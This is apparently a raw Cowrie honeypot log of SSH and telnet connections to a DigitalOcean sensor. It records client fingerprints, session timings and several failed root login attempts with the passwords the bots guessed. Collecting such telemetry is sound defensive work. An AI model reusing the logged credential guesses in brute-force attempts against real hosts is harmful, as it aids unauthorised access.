{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57274,"dst_ip":"10.17.0.5","dst_port":23,"session":"387a722a68c4","protocol":"telnet","message":"New connection: 152.42.224.71:57274 (10.17.0.5:23) [session: 387a722a68c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:59.268902Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58680,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30860ea631b","protocol":"ssh","message":"New connection: 147.45.197.250:58680 (10.17.0.5:22) [session: c30860ea631b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:00.673236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:00.677738Z","src_ip":"147.45.197.250","session":"c30860ea631b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:00.771803Z","src_ip":"147.45.197.250","session":"c30860ea631b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikit","message":"login attempt [root/nikit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:01.053648Z","src_ip":"147.45.197.250","session":"c30860ea631b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:02.150676Z","src_ip":"147.45.197.250","session":"c30860ea631b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39338,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5873ad46f9c","protocol":"ssh","message":"New connection: 103.15.222.183:39338 (159.203.135.109:22) [session: d5873ad46f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:03.036676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:03.041361Z","src_ip":"103.15.222.183","session":"d5873ad46f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:03.291966Z","src_ip":"103.15.222.183","session":"d5873ad46f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5t4r3e2w1q","message":"login attempt [root/5t4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:04.059111Z","src_ip":"103.15.222.183","session":"d5873ad46f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:05.313293Z","src_ip":"103.15.222.183","session":"d5873ad46f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163316726685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:05.407708Z","src_ip":"152.42.224.71","session":"e0cb26183c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.62053322792053,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:08.759087Z","src_ip":"152.42.224.71","session":"5af4a514e402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.336599349975586,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:18.181339Z","src_ip":"152.42.224.71","session":"270c07e603b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56328,"dst_ip":"10.17.0.5","dst_port":23,"session":"a006cf72e052","protocol":"telnet","message":"New connection: 152.42.224.71:56328 (10.17.0.5:23) [session: a006cf72e052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:20.108828Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":36750,"dst_ip":"159.203.135.109","dst_port":23,"session":"8463e7960e18","protocol":"telnet","message":"New connection: 213.108.3.46:36750 (159.203.135.109:23) [session: 8463e7960e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:21.539443Z"}
{"eventid":"cowrie.session.closed","duration":0.016242504119873047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:21.555597Z","src_ip":"213.108.3.46","session":"8463e7960e18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.14992642402649,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:29.023275Z","src_ip":"152.42.224.71","session":"e666f194ea3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50636,"dst_ip":"10.17.0.5","dst_port":23,"session":"44116787fb6b","protocol":"telnet","message":"New connection: 152.42.224.71:50636 (10.17.0.5:23) [session: 44116787fb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:36.210970Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55126,"dst_ip":"10.17.0.5","dst_port":23,"session":"3abf5755b28b","protocol":"telnet","message":"New connection: 152.42.224.71:55126 (10.17.0.5:23) [session: 3abf5755b28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:38.910287Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0182a20d32b4","protocol":"telnet","message":"New connection: 152.42.224.71:55132 (10.17.0.5:23) [session: 0182a20d32b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:41.586803Z"}
{"eventid":"cowrie.session.closed","duration":52.33639430999756,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:43.225652Z","src_ip":"152.42.224.71","session":"a27e90de587d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.49722361564636,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:50.518050Z","src_ip":"152.42.224.71","session":"f132dc70d77b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48584,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fcaa96c783","protocol":"telnet","message":"New connection: 152.42.224.71:48584 (10.17.0.5:23) [session: e5fcaa96c783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:51.707822Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48598,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca769c13bbe","protocol":"telnet","message":"New connection: 152.42.224.71:48598 (10.17.0.5:23) [session: dca769c13bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:52.086979Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48612,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbf12cfaa08","protocol":"telnet","message":"New connection: 152.42.224.71:48612 (10.17.0.5:23) [session: ccbf12cfaa08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:53.377172Z"}
{"eventid":"cowrie.session.closed","duration":120.0038070678711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:56.408800Z","src_ip":"152.42.224.71","session":"b74eeeb534d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"b956fdd9eece","protocol":"telnet","message":"New connection: 152.42.224.71:52070 (10.17.0.5:23) [session: b956fdd9eece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:47:59.885430Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52082,"dst_ip":"10.17.0.5","dst_port":23,"session":"4daff4615f11","protocol":"telnet","message":"New connection: 152.42.224.71:52082 (10.17.0.5:23) [session: 4daff4615f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:00.713816Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52084,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cc5858a118","protocol":"telnet","message":"New connection: 152.42.224.71:52084 (10.17.0.5:23) [session: 58cc5858a118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:02.158217Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52086,"dst_ip":"10.17.0.5","dst_port":23,"session":"6141c1ea6c5e","protocol":"telnet","message":"New connection: 152.42.224.71:52086 (10.17.0.5:23) [session: 6141c1ea6c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:03.493408Z"}
{"eventid":"cowrie.session.closed","duration":11.436294317245483,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:04.813358Z","src_ip":"152.42.224.71","session":"ccbf12cfaa08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00207901000977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:09.968695Z","src_ip":"152.42.224.71","session":"6ef040851980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.172868728637695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:10.383736Z","src_ip":"152.42.224.71","session":"44116787fb6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef3e8ec4b3c","protocol":"telnet","message":"New connection: 152.42.224.71:41000 (10.17.0.5:23) [session: 5ef3e8ec4b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:13.103742Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45956,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa508bace8a8","protocol":"telnet","message":"New connection: 152.42.224.71:45956 (10.17.0.5:23) [session: aa508bace8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:19.625298Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45972,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9f2420da09","protocol":"telnet","message":"New connection: 152.42.224.71:45972 (10.17.0.5:23) [session: bc9f2420da09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:19.661416Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"34b6d395603a","protocol":"telnet","message":"New connection: 152.42.224.71:45982 (10.17.0.5:23) [session: 34b6d395603a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:20.065804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45988,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe8d39b9e12","protocol":"telnet","message":"New connection: 152.42.224.71:45988 (10.17.0.5:23) [session: efe8d39b9e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:20.174508Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46008,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b8f54f6fa3","protocol":"telnet","message":"New connection: 152.42.224.71:46008 (10.17.0.5:23) [session: 03b8f54f6fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:23.390827Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46004,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5874d2c0a0","protocol":"telnet","message":"New connection: 152.42.224.71:46004 (10.17.0.5:23) [session: 9b5874d2c0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:23.636252Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47346,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf6e236decb","protocol":"ssh","message":"New connection: 103.173.227.57:47346 (159.203.135.109:22) [session: bdf6e236decb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:24.493788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:24.498600Z","src_ip":"103.173.227.57","session":"bdf6e236decb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:24.735252Z","src_ip":"103.173.227.57","session":"bdf6e236decb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hesoyam1","message":"login attempt [root/hesoyam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:25.445685Z","src_ip":"103.173.227.57","session":"bdf6e236decb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:26.685437Z","src_ip":"103.173.227.57","session":"bdf6e236decb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.77045178413391,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:29.857301Z","src_ip":"152.42.224.71","session":"dca769c13bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.64428925514221,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:37.230999Z","src_ip":"152.42.224.71","session":"0182a20d32b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03380727767944,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:47.137439Z","src_ip":"152.42.224.71","session":"5ef3e8ec4b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37204,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e04e69271b","protocol":"telnet","message":"New connection: 152.42.224.71:37204 (10.17.0.5:23) [session: 90e04e69271b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:47.663295Z"}
{"eventid":"cowrie.session.closed","duration":45.50088691711426,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:48.994148Z","src_ip":"152.42.224.71","session":"6141c1ea6c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.74794149398804,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:52.906072Z","src_ip":"152.42.224.71","session":"58cc5858a118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.394320487976074,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:57.279624Z","src_ip":"152.42.224.71","session":"b956fdd9eece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.082348346710205,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:57.796003Z","src_ip":"152.42.224.71","session":"4daff4615f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.104557037353516,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:58.765857Z","src_ip":"152.42.224.71","session":"bc9f2420da09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00232911109924,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:59.271141Z","src_ip":"152.42.224.71","session":"387a722a68c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.70129895210266,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:59.767018Z","src_ip":"152.42.224.71","session":"34b6d395603a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40726,"dst_ip":"10.17.0.5","dst_port":23,"session":"45277eec2bb0","protocol":"telnet","message":"New connection: 152.42.224.71:40726 (10.17.0.5:23) [session: 45277eec2bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:48:59.946382Z"}
{"eventid":"cowrie.session.closed","duration":40.851096630096436,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:01.025476Z","src_ip":"152.42.224.71","session":"efe8d39b9e12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2991466522216797,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:02.245391Z","src_ip":"152.42.224.71","session":"45277eec2bb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39718,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a454e6fd4a","protocol":"ssh","message":"New connection: 87.251.79.125:39718 (10.17.0.5:22) [session: 58a454e6fd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:07.095142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:07.099699Z","src_ip":"87.251.79.125","session":"58a454e6fd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:07.173556Z","src_ip":"87.251.79.125","session":"58a454e6fd4a","protocol":"ssh"}
